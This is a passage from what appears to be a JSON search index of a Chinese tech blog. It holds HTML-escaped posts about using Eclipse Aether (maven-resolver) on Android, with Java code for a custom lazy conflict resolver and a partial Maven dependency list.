\u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e policy.getPolicy(session, \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorPolicyRequest\u003c/span\u003e(artifact, request.getRequestContext()));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e提示:千万不要忘记在Factory内替换DefaultArtifactDescriptorReader为CompactAARArtifactDescriptorReader。\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"Aether的版本冲突解决方式与Gradle的不同\"\u003e\u003ca href=\"#Aether的版本冲突解决方式与Gradle的不同\" class=\"headerlink\" title=\"Aether的版本冲突解决方式与Gradle的不同\"\u003e\u003c/a\u003eAether的版本冲突解决方式与Gradle的不同\u003c/h3\u003e\u003cp\u003e假如,使用已经兼容AAR依赖的Aether系统去下载Google的一些库,比如\u003ccode\u003eandroidx\u003c/code\u003e系列,很大概率出现因为依赖冲突而无法下载的问题,或者即使下载了也无法正常编译。\u003c/p\u003e\u003cp\u003e这个问题是因为Aether和Gradle的默认版本冲突解决方式不同,Aether是就近原则,依赖程度浅的版本则优先度高,Gradle则是就近+最新原则,在本地配置内采用最近原则,在处理远程依赖的子依赖时采用最新版本。\u003c/p\u003e\u003ch4 id=\"解决方法-1\"\u003e\u003ca href=\"#解决方法-1\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h4\u003e\u003cp\u003e我们只需要改变依赖冲突的解决方式即可,这个需要通过RepositorySystemSession来设置。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystemSession \u003cspan class=\"hljs-title function_\"\u003enewSession\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystem system, LocalRepository localRepo)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newSession();\u003cbr\u003e session.setConfigProperty(ConflictResolver.CONFIG_PROP_VERBOSE, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e session.setConfigProperty(DependencyManagerUtils.CONFIG_PROP_VERBOSE, \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e session.setLocalRepositoryManager(system.newLocalRepositoryManager(session, localRepo));\u003cbr\u003e session.setDependencyGraphTransformer(\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//改为自定义的DependencyGraphTransformer\u003c/span\u003e\u003cbr\u003e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e session;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e自己实现所需的依赖树裁枝方式即可。我这里比较懒省事,直接做一个LazyConflictResolver,下载依赖树上的所有依赖,之后在编译的时候取最新的版本。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.RepositoryException;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.collection.DependencyGraphTransformationContext;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.collection.DependencyGraphTransformer;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003eimport\u003c/span\u003e org.eclipse.aether.graph.DependencyNode;\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e/**\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e * 选择摆烂的ConflictResolver,遇到困难睡大觉,把困难丢给后面的人解决。\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e */\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLazyConflictResolver\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyGraphTransformer\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e DependencyNode \u003cspan class=\"hljs-title function_\"\u003etransformGraph\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(DependencyNode node, DependencyGraphTransformationContext context)\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e RepositoryException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e node;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e","url":"https://xiue233.github.io/2023/09/09/aether-manual/"},{"title":"Aether在Android中的适配探索","time":"2023-09-05T15:35:45Z","content":"\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/09/aether-manual/\" title=\"Aether使用指南(主体功能概述)\"\u003eAether使用指南(主体功能概述)\u003c/a\u003e》\u003c/p\u003e\n\u003cp\u003e本文章为针对一年前技术探索的回想与记录,因时间跨度过大,有部分实现细节已\u003chr /\u003e\u003cp\u003e相关文章:《\u003ca href=\"/2023/09/09/aether-manual/\" title=\"Aether使用指南(主体功能概述)\"\u003eAether使用指南(主体功能概述)\u003c/a\u003e》\u003c/p\u003e\u003cp\u003e本文章为针对一年前技术探索的回想与记录,因时间跨度过大,有部分实现细节已经遗忘,望谅解。\u003c/p\u003e\u003cp\u003e因为篇幅原因,本文只做Aether的简单介绍以及在Android下的兼容开发过程,Aether的使用以及针对Gradle Dependency Conflict Resolution的适配见后续文章。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eAether is a library for working with artifact repositories. Aether deals with the specification of local repository, remote repository, developer workspaces, artifact transports, and artifact resolution.\u003cbr\u003e(Aether是一个用于处理Artifact仓库的库。 Aether能够处理本地Maven仓库、远程Maven仓库、开发工作区、Artifact的传输和Artifact的解析。)\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"什么是Aether?我们为什么要使用Aether?\"\u003e\u003ca href=\"#什么是Aether?我们为什么要使用Aether?\" class=\"headerlink\" title=\"什么是Aether?我们为什么要使用Aether?\"\u003e\u003c/a\u003e什么是Aether?我们为什么要使用Aether?\u003c/h2\u003e\u003cp\u003eAether是\u003cem\u003eEclipse Foundation\u003c/em\u003e下的一个用于Maven拉取与本地仓库管理的项目。不同于Maven,Aether是Maven包装后的可插件版。\u003c/p\u003e\u003cp\u003e通过Aether,开发者可以把控Artifact拉取以及存放过程中的各种细节,并自定义\u003cem\u003e依赖冲突解决策略\u003c/em\u003e、\u003cem\u003e版本比较方案\u003c/em\u003e、\u003cem\u003e依赖树遍历策略\u003c/em\u003e等功能。\u003c/p\u003e\u003cp\u003e当然,因为我的目的是在Android上运行一个Maven Resolver,经过和朋友们的筛选,发现Aether较符合我们的要求(兼容度与功能丰富度),所以使用了他。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eAether现已废弃,更名为\u003ca href=\"https://github.com/apache/maven-resolver\"\u003emaven-resolver\u003c/a\u003e并持续更新中。\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e相关链接:\u003cbr\u003e\u003ca href=\"https://projects.eclipse.org/projects/technology.aether\"\u003eAether Project Website(已废弃)\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/apache/maven-resolver\"\u003emaven-resolver\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://wiki.eclipse.org/Aether\"\u003eAether Wiki\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Aether的依赖结构\"\u003e\u003ca href=\"#Aether的依赖结构\" class=\"headerlink\" title=\"Aether的依赖结构\"\u003e\u003c/a\u003eAether的依赖结构\u003c/h2\u003e\u003cfigure class=\"highlight xml\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs XML\"\u003e\u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eproperties\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eaetherVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e1.0.0.v20140518\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eaetherVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003emavenVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e3.1.0\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003emavenVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003ewagonVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e1.0\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003ewagonVersion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eproperties\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependencies\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-api\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-util\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-impl\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-connector-basic\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-file\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-http\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.eclipse.aether\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003eaether-transport-wagon\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;aetherVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.apache.maven\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003emaven-aether-provider\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;mavenVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003edependency\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003eorg.apache.maven.wagon\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003egroupId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003ewagon-ssh\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan class=\"hljs-name\"\u003eartifactId\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-tag\"\u003e\u0026lt;\u003cspan class=\"hljs-name\"\u003eversion\u003c/span\u003e\u0026gt;\u003c/span\u003e$\u0026#123;wagonVersion\u0026#125;\u003cspan class=\"hljs-tag\"\u003e\u0026lt;/\u003cspan 